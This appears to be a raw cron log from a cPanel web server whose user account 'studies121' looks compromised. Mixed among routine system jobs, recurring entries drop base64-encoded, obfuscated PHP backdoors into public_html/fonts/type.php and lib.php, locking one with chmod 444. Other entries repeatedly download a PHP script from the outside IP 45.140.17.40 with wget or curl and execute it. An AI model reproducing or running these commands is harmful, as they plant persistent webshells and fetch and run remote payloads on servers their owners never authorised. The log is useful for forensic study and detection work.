Sep 11 02:32:01 ip-184-168-122-23 CROND[16058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:32:01 ip-184-168-122-23 CROND[16061]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:33:01 ip-184-168-122-23 CROND[16151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:33:01 ip-184-168-122-23 CROND[16152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:33:01 ip-184-168-122-23 CROND[16156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:33:01 ip-184-168-122-23 CROND[16158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:34:01 ip-184-168-122-23 CROND[16233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:34:01 ip-184-168-122-23 CROND[16235]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:34:01 ip-184-168-122-23 CROND[16238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:34:01 ip-184-168-122-23 CROND[16237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:34:01 ip-184-168-122-23 CROND[16236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:35:01 ip-184-168-122-23 CROND[16330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:35:01 ip-184-168-122-23 CROND[16333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:35:01 ip-184-168-122-23 CROND[16332]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 02:35:01 ip-184-168-122-23 CROND[16331]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 02:35:01 ip-184-168-122-23 CROND[16339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:35:01 ip-184-168-122-23 CROND[16341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:35:01 ip-184-168-122-23 CROND[16340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:35:01 ip-184-168-122-23 CROND[16342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:36:01 ip-184-168-122-23 CROND[16424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:36:01 ip-184-168-122-23 CROND[16426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:36:01 ip-184-168-122-23 CROND[16427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:36:01 ip-184-168-122-23 CROND[16431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:36:01 ip-184-168-122-23 CROND[16429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:37:02 ip-184-168-122-23 CROND[16602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:37:02 ip-184-168-122-23 CROND[16601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:37:02 ip-184-168-122-23 CROND[16600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:37:02 ip-184-168-122-23 CROND[16603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:38:01 ip-184-168-122-23 CROND[16682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:38:01 ip-184-168-122-23 CROND[16684]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:38:01 ip-184-168-122-23 CROND[16687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:38:01 ip-184-168-122-23 CROND[16689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:38:01 ip-184-168-122-23 CROND[16691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:39:01 ip-184-168-122-23 CROND[16771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:39:01 ip-184-168-122-23 CROND[16775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:39:01 ip-184-168-122-23 CROND[16773]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 02:39:01 ip-184-168-122-23 CROND[16774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:39:01 ip-184-168-122-23 CROND[16777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:40:01 ip-184-168-122-23 CROND[16867]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:40:01 ip-184-168-122-23 CROND[16868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:40:01 ip-184-168-122-23 CROND[16873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:40:01 ip-184-168-122-23 CROND[16874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:40:01 ip-184-168-122-23 CROND[16878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:40:01 ip-184-168-122-23 CROND[16877]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:40:01 ip-184-168-122-23 CROND[16875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:40:01 ip-184-168-122-23 CROND[16872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:41:01 ip-184-168-122-23 CROND[17001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:41:01 ip-184-168-122-23 CROND[17004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:41:01 ip-184-168-122-23 CROND[17002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:41:01 ip-184-168-122-23 CROND[17003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:42:01 ip-184-168-122-23 CROND[17087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:42:01 ip-184-168-122-23 CROND[17092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:42:01 ip-184-168-122-23 CROND[17090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:42:01 ip-184-168-122-23 CROND[17089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:42:01 ip-184-168-122-23 CROND[17091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:43:01 ip-184-168-122-23 CROND[17179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:43:01 ip-184-168-122-23 CROND[17180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:43:01 ip-184-168-122-23 CROND[17183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:43:01 ip-184-168-122-23 CROND[17181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:44:01 ip-184-168-122-23 CROND[17352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:44:02 ip-184-168-122-23 CROND[17355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:44:02 ip-184-168-122-23 CROND[17357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:44:02 ip-184-168-122-23 CROND[17354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
